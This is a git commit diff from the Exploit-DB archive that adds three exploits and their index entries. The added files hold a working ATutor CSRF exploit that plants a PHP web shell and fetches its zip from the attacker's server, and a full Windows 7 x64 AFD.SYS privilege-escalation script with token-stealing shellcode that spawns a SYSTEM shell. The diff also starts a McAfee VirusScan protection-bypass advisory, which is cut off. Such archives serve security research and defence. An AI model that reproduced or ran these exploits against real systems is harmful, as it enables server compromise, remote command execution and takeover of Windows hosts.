DB: 2016-03-08
3 new exploits
This commit is contained in:
parent
d3ff26bf47
commit
4cae1b12fc
9 changed files with 752 additions and 15 deletions
|
@ -35761,3 +35761,6 @@ id,file,description,date,author,platform,type,port
|
||||||
39521,platforms/php/webapps/39521.txt,"WordPress Bulk Delete Plugin 5.5.3 - Privilege Escalation",2016-03-03,"Panagiotis Vagenas",php,webapps,80
|
39521,platforms/php/webapps/39521.txt,"WordPress Bulk Delete Plugin 5.5.3 - Privilege Escalation",2016-03-03,"Panagiotis Vagenas",php,webapps,80
|
||||||
39522,platforms/hardware/remote/39522.txt,"Schneider Electric SBO / AS - Multiple Vulnerabilities",2016-03-03,"Karn Ganeshen",hardware,remote,0
|
39522,platforms/hardware/remote/39522.txt,"Schneider Electric SBO / AS - Multiple Vulnerabilities",2016-03-03,"Karn Ganeshen",hardware,remote,0
|
||||||
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
|
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
|
||||||
|
39524,platforms/php/webapps/39524.js,"ATutor LMS install_modules.php CSRF Remote Code Execution Vulnerability",2016-03-07,mr_me,php,webapps,0
|
||||||
|
39525,platforms/win64/local/39525.py,"Microsoft Windows - AFD.SYS Privilege Escalation (MS14-040) Win7x64",2016-03-07,"Rick Larabee",win64,local,0
|
||||||
|
39531,platforms/windows/local/39531.c,"McAfee VirusScan Enterprise 8.8 - Security Restrictions Bypass",2016-03-07,"Maurizio Agazzini",windows,local,0
|
||||||
|
|
Can't render this file because it is too large.
|
|
@ -95,6 +95,6 @@
|
||||||
|
|
||||||
timespec dd 10,0
|
timespec dd 10,0
|
||||||
|
|
||||||
filesize equ $ - $$
|
filesize equ $ - $$
|
||||||
|
|
||||||
; milw0rm.com [2003-12-02]
|
; milw0rm.com [2003-12-02]
|
||||||
|
|
|
@ -278,6 +278,6 @@ configure();
|
||||||
remap();
|
remap();
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// milw0rm.com [2003-12-05]
|
// milw0rm.com [2003-12-05]
|
||||||
|
|
|
@ -154,6 +154,6 @@ go_daemon();
|
||||||
execl(PATH,PATH,arg,NULL);
|
execl(PATH,PATH,arg,NULL);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// milw0rm.com [2004-02-13]
|
// milw0rm.com [2004-02-13]
|
||||||
|
|
|
@ -464,6 +464,6 @@ die(char *argv)
|
||||||
fprintf(stdout," Contact me: Li0n7@voila.fr\n\n");
|
fprintf(stdout," Contact me: Li0n7@voila.fr\n\n");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// milw0rm.com [2004-01-14]
|
// milw0rm.com [2004-01-14]
|
||||||
|
|
|
@ -70,6 +70,6 @@ print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
|
||||||
}
|
}
|
||||||
if ($success==0) {print "[-] exploit failed =(\n";}
|
if ($success==0) {print "[-] exploit failed =(\n";}
|
||||||
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
|
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
|
||||||
|
|
||||||
|
|
||||||
# milw0rm.com [2003-12-21]
|
# milw0rm.com [2003-12-21]
|
||||||
|
|
138
platforms/php/webapps/39524.js
Executable file
138
platforms/php/webapps/39524.js
Executable file
|
@ -0,0 +1,138 @@
|
||||||
|
/* exp.js
|
||||||
|
|
||||||
|
ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
|
||||||
|
by mr_me
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
``````
|
||||||
|
- Discovered for @ipn_mx students advanced php vuln/dev class
|
||||||
|
- Tested on the latest FireFox 44.0.2 release build
|
||||||
|
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
|
||||||
|
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
|
||||||
|
- Use this with your favorite XSS attack
|
||||||
|
- Student proof, aka bullet proof
|
||||||
|
|
||||||
|
Timeline:
|
||||||
|
`````````
|
||||||
|
23/02/2016 - notified vendor via info[at]atutor[dot]ca
|
||||||
|
24/02/2016 - requested CVE and assigned CVE-2016-2539
|
||||||
|
24/02/2016 - vendor replied stating they are investigating the issue
|
||||||
|
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
|
||||||
|
06/03/2016 - coordinated public release
|
||||||
|
|
||||||
|
Example:
|
||||||
|
````````
|
||||||
|
mr_me@jupiter:~$ cat poc.py
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import zipfile
|
||||||
|
import BaseHTTPServer
|
||||||
|
from cStringIO import StringIO
|
||||||
|
from SimpleHTTPServer import SimpleHTTPRequestHandler
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print "Usage: %s <lport> <target>" % sys.argv[0]
|
||||||
|
print "eg: %s 8000 172.16.69.128" % sys.argv[0]
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def _build_zip():
|
||||||
|
"""
|
||||||
|
builds the zip file
|
||||||
|
"""
|
||||||
|
f = StringIO()
|
||||||
|
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||||
|
z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
|
||||||
|
z.close()
|
||||||
|
handle = open('pwn.zip','wb')
|
||||||
|
handle.write(f.getvalue())
|
||||||
|
handle.close
|
||||||
|
|
||||||
|
class CORSRequestHandler (SimpleHTTPRequestHandler):
|
||||||
|
def end_headers (self):
|
||||||
|
self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
|
||||||
|
SimpleHTTPRequestHandler.end_headers(self)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
_build_zip()
|
||||||
|
BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
|
||||||
|
|
||||||
|
mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
|
||||||
|
Serving HTTP on 0.0.0.0 port 8000 ...
|
||||||
|
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
|
||||||
|
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -
|
||||||
|
|
||||||
|
~ de Mexico con amor,
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
var get_hostname = function(href) {
|
||||||
|
var l = document.createElement("a");
|
||||||
|
l.href = href;
|
||||||
|
return l.hostname + ":" + l.port;
|
||||||
|
};
|
||||||
|
|
||||||
|
function trolololol(url, file_data, filename) {
|
||||||
|
var file_size = file_data.length,
|
||||||
|
boundary = "828116593165207937691721278",
|
||||||
|
xhr = new XMLHttpRequest();
|
||||||
|
|
||||||
|
// latest ff doesnt have sendAsBinary(), so we redefine it
|
||||||
|
if(!xhr.sendAsBinary){
|
||||||
|
xhr.sendAsBinary = function(datastr) {
|
||||||
|
function byteValue(x) {
|
||||||
|
return x.charCodeAt(0) & 0xff;
|
||||||
|
}
|
||||||
|
var ords = Array.prototype.map.call(datastr, byteValue);
|
||||||
|
var ui8a = new Uint8Array(ords);
|
||||||
|
this.send(ui8a.buffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// the callback after this stage is done...
|
||||||
|
xhr.onreadystatechange = function() {
|
||||||
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||||
|
xhr = new XMLHttpRequest();
|
||||||
|
// change this if you change the zip
|
||||||
|
xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
|
||||||
|
xhr.send();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
xhr.open("POST", url, true);
|
||||||
|
// simulate a file MIME POST request.
|
||||||
|
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
||||||
|
xhr.setRequestHeader("Content-Length", file_size);
|
||||||
|
var body = "--" + boundary + "\r\n";
|
||||||
|
body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
|
||||||
|
body += "Content-Type: archive/zip\r\n\r\n";
|
||||||
|
body += file_data + "\r\n";
|
||||||
|
body += "--" + boundary + "\r\n";
|
||||||
|
body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
|
||||||
|
body += "junk\r\n";
|
||||||
|
body += "--" + boundary;
|
||||||
|
xhr.sendAsBinary(body);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function pwn(){
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
// et phone home
|
||||||
|
var home = get_hostname(document.scripts[0].src);
|
||||||
|
// get our own zip file
|
||||||
|
xhr.open('GET', 'http://' + home + '/pwn.zip', true);
|
||||||
|
xhr.responseType = 'blob';
|
||||||
|
xhr.onload = function(e) {
|
||||||
|
if (this.status == 200) {
|
||||||
|
// use the FileReader class to get the raw binary
|
||||||
|
var reader = new window.FileReader();
|
||||||
|
reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'}));
|
||||||
|
reader.onloadend = function() {
|
||||||
|
trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
xhr.send();
|
||||||
|
}
|
||||||
|
|
||||||
|
pwn();
|
346
platforms/win64/local/39525.py
Executable file
346
platforms/win64/local/39525.py
Executable file
|
@ -0,0 +1,346 @@
|
||||||
|
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
|
||||||
|
# Date: 2016-03-03
|
||||||
|
# Exploit Author: Rick Larabee
|
||||||
|
# Vendor Homepage: www.microsoft.com
|
||||||
|
# Version: Windows 7, 64 bit
|
||||||
|
# Tested on: Win7 x64
|
||||||
|
# afd.sys - 6.1.7601.17514
|
||||||
|
# ntdll.dll - 6.1.7601.17514
|
||||||
|
#
|
||||||
|
# CVE : CVE-2014-1767
|
||||||
|
# Category: Local Privilege Escalation
|
||||||
|
# References:
|
||||||
|
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
|
||||||
|
# http://ricklarabee.blogspot.com/
|
||||||
|
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
|
||||||
|
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
|
||||||
|
# http://www.cvedetails.com/cve/CVE-2014-1767/
|
||||||
|
# https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/
|
||||||
|
#
|
||||||
|
# Greetz: PWN4GEPWN1E, SecurityMook
|
||||||
|
|
||||||
|
|
||||||
|
from ctypes import *
|
||||||
|
import socket, time, os, struct, sys
|
||||||
|
from ctypes.wintypes import HANDLE, DWORD
|
||||||
|
import platform
|
||||||
|
|
||||||
|
kernel32 = windll.kernel32
|
||||||
|
ntdll = windll.ntdll
|
||||||
|
Psapi = windll.Psapi
|
||||||
|
|
||||||
|
MEMRES = (0x1000 | 0x2000)
|
||||||
|
PAGEEXE = 0x40
|
||||||
|
Zerobits = c_int(0)
|
||||||
|
RegionSize = c_ulonglong(0x1000)
|
||||||
|
written = c_ulonglong(0)
|
||||||
|
|
||||||
|
FakeObjSize = 0x100
|
||||||
|
|
||||||
|
GENERIC_READ = 0x80000000
|
||||||
|
GENERIC_WRITE = 0x40000000
|
||||||
|
GENERIC_EXECUTE = 0x20000000
|
||||||
|
GENERIC_ALL = 0x10000000
|
||||||
|
INVALID_HANDLE_VALUE = -1
|
||||||
|
|
||||||
|
WSAGetLastError = windll.Ws2_32.WSAGetLastError
|
||||||
|
WSAGetLastError.argtypes = ()
|
||||||
|
WSAGetLastError.restype = c_int
|
||||||
|
SOCKET = c_int
|
||||||
|
WSASocket = windll.Ws2_32.WSASocketA
|
||||||
|
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
|
||||||
|
WSASocket.restype = SOCKET
|
||||||
|
closesocket = windll.Ws2_32.closesocket
|
||||||
|
closesocket.argtypes = (SOCKET,)
|
||||||
|
closesocket.restype = c_int
|
||||||
|
connect = windll.Ws2_32.connect
|
||||||
|
connect.argtypes = (SOCKET, c_void_p, c_int)
|
||||||
|
connect.restype = c_int
|
||||||
|
HalDispatchTable = c_uint64
|
||||||
|
|
||||||
|
class sockaddr_in(Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("sin_family", c_short),
|
||||||
|
("sin_port", c_ushort),
|
||||||
|
("sin_addr", c_ulong),
|
||||||
|
("sin_zero", c_char * 8),
|
||||||
|
]
|
||||||
|
|
||||||
|
kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)]
|
||||||
|
ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]
|
||||||
|
|
||||||
|
def find_driver_base(driver=None):
|
||||||
|
#https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
|
||||||
|
|
||||||
|
if platform.architecture()[0] == '64bit':
|
||||||
|
lpImageBase = (c_ulonglong * 1024)()
|
||||||
|
lpcbNeeded = c_longlong()
|
||||||
|
Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32]
|
||||||
|
else:
|
||||||
|
#if process_is_wow64():
|
||||||
|
# raise RuntimeError('python running in WOW64 is not supported')
|
||||||
|
lpImageBase = (c_ulong * 1024)()
|
||||||
|
lpcbNeeded = c_long()
|
||||||
|
driver_name_size = c_long()
|
||||||
|
driver_name_size.value = 48
|
||||||
|
Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded))
|
||||||
|
for base_addr in lpImageBase:
|
||||||
|
driver_name = c_char_p('\x00' * driver_name_size.value)
|
||||||
|
if base_addr:
|
||||||
|
Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value)
|
||||||
|
if driver == None and driver_name.value.lower().find("krnl") != -1:
|
||||||
|
return (base_addr, driver_name.value)
|
||||||
|
elif driver_name.value.lower() == driver:
|
||||||
|
return (base_addr, driver_name.value)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_haldispatchtable():
|
||||||
|
#https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
|
||||||
|
|
||||||
|
if platform.architecture()[0] == '64bit':
|
||||||
|
kernel32.LoadLibraryExA.restype = c_uint64
|
||||||
|
kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
|
||||||
|
kernel32.GetProcAddress.restype = c_uint64
|
||||||
|
(krnlbase, kernelver) = find_driver_base()
|
||||||
|
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
|
||||||
|
halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
|
||||||
|
halDispatchTable -= hKernel
|
||||||
|
halDispatchTable += krnlbase
|
||||||
|
return halDispatchTable
|
||||||
|
|
||||||
|
|
||||||
|
def CreateBuffer1(inbuf1addr):
|
||||||
|
print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr)
|
||||||
|
inbuf1size = 0x40
|
||||||
|
targetsize = 0x100
|
||||||
|
virtualAddress = 0x13371337
|
||||||
|
mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff)
|
||||||
|
|
||||||
|
|
||||||
|
inbuf1 = "\x41" * 0x20
|
||||||
|
inbuf1 += struct.pack("Q", virtualAddress) #0x1a
|
||||||
|
inbuf1 += struct.pack("Q", mdlsize)
|
||||||
|
inbuf1 += "\x42" * 4
|
||||||
|
inbuf1 += "\x43" * 4
|
||||||
|
inbuf1 += "\x01\x00\x00\x00"
|
||||||
|
inbuf1 += "\x00\x00\x00\x00"
|
||||||
|
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
|
||||||
|
|
||||||
|
baseadd = c_ulonglong(0x1001)
|
||||||
|
|
||||||
|
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
||||||
|
byref(baseadd),
|
||||||
|
0x0,
|
||||||
|
byref(RegionSize),
|
||||||
|
MEMRES,
|
||||||
|
PAGEEXE)
|
||||||
|
|
||||||
|
wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written))
|
||||||
|
|
||||||
|
def CreateBuffer2(inbuf2addr):
|
||||||
|
print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr)
|
||||||
|
inbuf2size = 0x18
|
||||||
|
addrforbuf2 = 0x0AAAAAAA
|
||||||
|
|
||||||
|
inbuf2 = struct.pack("Q", 0x1)
|
||||||
|
inbuf2 += struct.pack("Q", addrforbuf2)
|
||||||
|
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
|
||||||
|
|
||||||
|
baseadd = c_ulonglong(inbuf2addr+1)
|
||||||
|
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
||||||
|
byref(baseadd),
|
||||||
|
0x0,
|
||||||
|
byref(RegionSize),
|
||||||
|
MEMRES,
|
||||||
|
PAGEEXE)
|
||||||
|
kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written))
|
||||||
|
|
||||||
|
def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory):
|
||||||
|
print "[+] Print creating fakeobject at ", hex(fakeobjectaddr)
|
||||||
|
|
||||||
|
fakeobject2addr = setinfoworkerfactory - 0x18
|
||||||
|
|
||||||
|
fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite)
|
||||||
|
fakeobj2size = len(fakeobject2)
|
||||||
|
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
|
||||||
|
|
||||||
|
objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||||
|
|
||||||
|
fakeobject = objhead
|
||||||
|
fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96
|
||||||
|
fakeobject += "\x42" * (FakeObjSize - len(fakeobject))
|
||||||
|
kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written))
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print "[+] creating socket..."
|
||||||
|
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
|
||||||
|
|
||||||
|
if sock == -1:
|
||||||
|
print "[-] no luck creating socket!"
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print "[+] got sock 0x%x" % sock
|
||||||
|
|
||||||
|
addr = sockaddr_in()
|
||||||
|
addr.sin_family = socket.AF_INET
|
||||||
|
addr.sin_port = socket.htons(135)
|
||||||
|
addr.sin_addr = socket.htonl(0x7f000001)
|
||||||
|
|
||||||
|
connect(sock, byref(addr), sizeof(addr))
|
||||||
|
|
||||||
|
print "[+] sock connected."
|
||||||
|
print "[+] fill kernel heap"
|
||||||
|
|
||||||
|
rgnarr = []
|
||||||
|
nBottomRect = 0x02aaaaaa
|
||||||
|
while(1):
|
||||||
|
hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1)
|
||||||
|
|
||||||
|
if hrgn == 0:
|
||||||
|
break
|
||||||
|
rgnarr.append(hrgn)
|
||||||
|
print ".",
|
||||||
|
|
||||||
|
|
||||||
|
print "\n[+] GO!"
|
||||||
|
HalDispatchTable = get_haldispatchtable()
|
||||||
|
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
|
||||||
|
# Win7 - x64
|
||||||
|
(halbase, dllname) = find_driver_base("hal.dll")
|
||||||
|
OS = "7"
|
||||||
|
if OS == "7":
|
||||||
|
HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64
|
||||||
|
_KPROCESS = "\x70"
|
||||||
|
_TOKEN = "\x08\x02"
|
||||||
|
_UPID = "\x80\x01"
|
||||||
|
_APLINKS = "\x88\x01"
|
||||||
|
|
||||||
|
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
|
||||||
|
|
||||||
|
IoStatus = c_ulonglong()
|
||||||
|
IoStatusBlock = c_ulonglong()
|
||||||
|
|
||||||
|
addrSetInfoWorkerFactory = 0x2218
|
||||||
|
firstWriteAddr = HalDispatchTable + 0x8 - 0x2C
|
||||||
|
secondWriteAddr = firstWriteAddr + 0x4
|
||||||
|
thirdWriteAddr = firstWriteAddr + 0x1
|
||||||
|
|
||||||
|
shellcode_address = c_ulonglong
|
||||||
|
shellcode_address = 0x0000000000002500
|
||||||
|
what_address = 0x0000250800002500
|
||||||
|
what_part1 = what_address & 0xfffffff
|
||||||
|
what_part2 = what_address >> 32 & 0xfffffff
|
||||||
|
|
||||||
|
inbuf1 = 0x1000
|
||||||
|
inbuf2 = 0x2000
|
||||||
|
hWF = c_ulonglong(0)
|
||||||
|
FakeWorkerFactoryADDR = 0x2100
|
||||||
|
|
||||||
|
CreateBuffer1(inbuf1)
|
||||||
|
CreateBuffer2(inbuf2)
|
||||||
|
CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory)
|
||||||
|
print ""
|
||||||
|
print ""
|
||||||
|
print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory "
|
||||||
|
print "[*] structures for phase 2 and fil the freed space with a "
|
||||||
|
print "[*] WorkerFactory Object"
|
||||||
|
raw_input("[+] Press Enter to trigger phase 1")
|
||||||
|
ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong),
|
||||||
|
c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
|
||||||
|
status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0)
|
||||||
|
|
||||||
|
|
||||||
|
kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong]
|
||||||
|
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0))
|
||||||
|
|
||||||
|
ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
|
||||||
|
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0)
|
||||||
|
hWFaddr = hWF
|
||||||
|
|
||||||
|
|
||||||
|
padding = "\x90"*8
|
||||||
|
HalDispatchTable0x8 = HalDispatchTable + 0x8
|
||||||
|
|
||||||
|
sc_pointer = struct.pack("Q", shellcode_address+0x10)
|
||||||
|
sc_pointer += struct.pack("Q", 0x25)
|
||||||
|
|
||||||
|
restore_ptrs = "\x41\x51" +\
|
||||||
|
"\x41\x52" +\
|
||||||
|
"\x41\x53" +\
|
||||||
|
"\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation) +\
|
||||||
|
"\x49\xba" + struct.pack("Q", HalDispatchTable0x8) +\
|
||||||
|
"\x4d\x89\x0a"
|
||||||
|
|
||||||
|
tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00" +\
|
||||||
|
"\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\
|
||||||
|
"\x4D\x89\xCA" +\
|
||||||
|
"\x4D\x8B\x89" + _APLINKS + "\x00\x00" +\
|
||||||
|
"\x49\x81\xE9" + _APLINKS + "\x00\x00" +\
|
||||||
|
"\x49\x83\xB9" + _UPID + "\x00\x00\x04" +\
|
||||||
|
"\x75\xe8" +\
|
||||||
|
"\x4D\x8B\x89" + _TOKEN + "\x00\x00" +\
|
||||||
|
"\x4D\x89\x8A" + _TOKEN + "\x00\x00"
|
||||||
|
|
||||||
|
fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" +\
|
||||||
|
"\x4d\x89\xd1" +\
|
||||||
|
"\x4d\x8b\x12" +\
|
||||||
|
"\x41\xbb" + struct.pack("L", hWF.value)+\
|
||||||
|
"\x41\x83\xe3\xfc" +\
|
||||||
|
"\x4d\x01\xdb" +\
|
||||||
|
"\x4d\x01\xdb" +\
|
||||||
|
"\x4d\x01\xda" +\
|
||||||
|
"\x49\xc7\x02\x00\x00\x00\x00" +\
|
||||||
|
"\x49\x83\xc1\x58" +\
|
||||||
|
"\x4d\x89\xca" +\
|
||||||
|
"\x4d\x8b\x09" +\
|
||||||
|
"\x49\x83\xe9\x01" +\
|
||||||
|
"\x4d\x89\x0a" +\
|
||||||
|
"\x41\x5b" +\
|
||||||
|
"\x41\x5A" +\
|
||||||
|
"\x41\x59" +\
|
||||||
|
"\xc3"
|
||||||
|
|
||||||
|
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
|
||||||
|
shellcode_size = len(shellcode)
|
||||||
|
|
||||||
|
print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address)
|
||||||
|
|
||||||
|
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
|
||||||
|
|
||||||
|
print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the"
|
||||||
|
print "[*] WorkerFactory object created above and fill the freed object"
|
||||||
|
print "[*] with a user controlled object to perform the necessary overwrites"
|
||||||
|
raw_input("[+] Press Enter to trigger phase 2")
|
||||||
|
|
||||||
|
### Trigger 2
|
||||||
|
## afd!AfdTransmitPackets
|
||||||
|
ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0)
|
||||||
|
|
||||||
|
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
|
||||||
|
ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4)
|
||||||
|
kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written))
|
||||||
|
ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4)
|
||||||
|
kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written))
|
||||||
|
ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ;
|
||||||
|
|
||||||
|
inp = c_long()
|
||||||
|
out = c_long()
|
||||||
|
inp = 0x1337
|
||||||
|
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
|
||||||
|
print "[*] Spawning a SYSTEM shell..."
|
||||||
|
os.system("cmd.exe /K cd c:\\windows\\system32")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if platform.architecture()[0] == '64bit':
|
||||||
|
main()
|
||||||
|
else:
|
||||||
|
print "Please use a 64 bit version of python"
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
|
||||||
|
|
250
platforms/windows/local/39531.c
Executable file
250
platforms/windows/local/39531.c
Executable file
|
@ -0,0 +1,250 @@
|
||||||
|
/*
|
||||||
|
Security Advisory @ Mediaservice.net Srl
|
||||||
|
(#01, 13/04/2016) Data Security Division
|
||||||
|
|
||||||
|
Title: McAfee VirusScan Enterprise security restrictions bypass
|
||||||
|
Application: McAfee VirusScan Enterprise 8.8 and prior versions
|
||||||
|
Platform: Microsoft Windows
|
||||||
|
Description: A local Windows administrator is able to bypass the
|
||||||
|
security restrictions and disable the antivirus engine
|
||||||
|
without knowing the correct management password
|
||||||
|
Author: Maurizio Agazzini <inode@mediaservice.net>
|
||||||
|
Vendor Status: Fixed
|
||||||
|
References: http://lab.mediaservice.net/advisory/2016-01-mcafee.txt
|
||||||
|
http://lab.mediaservice.net/code/mcafee_unprotector.c
|
||||||
|
|
||||||
|
1. Abstract.
|
||||||
|
|
||||||
|
McAfee VirusScan Enterprise has a feature to protect the scan engine
|
||||||
|
from local Windows administrators. A management password is needed to
|
||||||
|
disable it, unless Windows is running in "Safe Mode".
|
||||||
|
|
||||||
|
>From our understanding this feature is implemented insecurely: the
|
||||||
|
McAfee VirusScan Console checks the password and requests the engine to
|
||||||
|
unlock the safe registry keys. No checks are done by the engine itself,
|
||||||
|
so anyone can directly request the engine to stop without knowing the
|
||||||
|
correct management password.
|
||||||
|
|
||||||
|
2. Example Attack Session.
|
||||||
|
|
||||||
|
The attack can be reproduced in different ways, here are some examples.
|
||||||
|
|
||||||
|
Example 1:
|
||||||
|
|
||||||
|
Open the McAfee VirusScan Console and Sysinternals Process Explorer.
|
||||||
|
|
||||||
|
Under Process Explorer:
|
||||||
|
|
||||||
|
- Locate the mcconsol.exe process
|
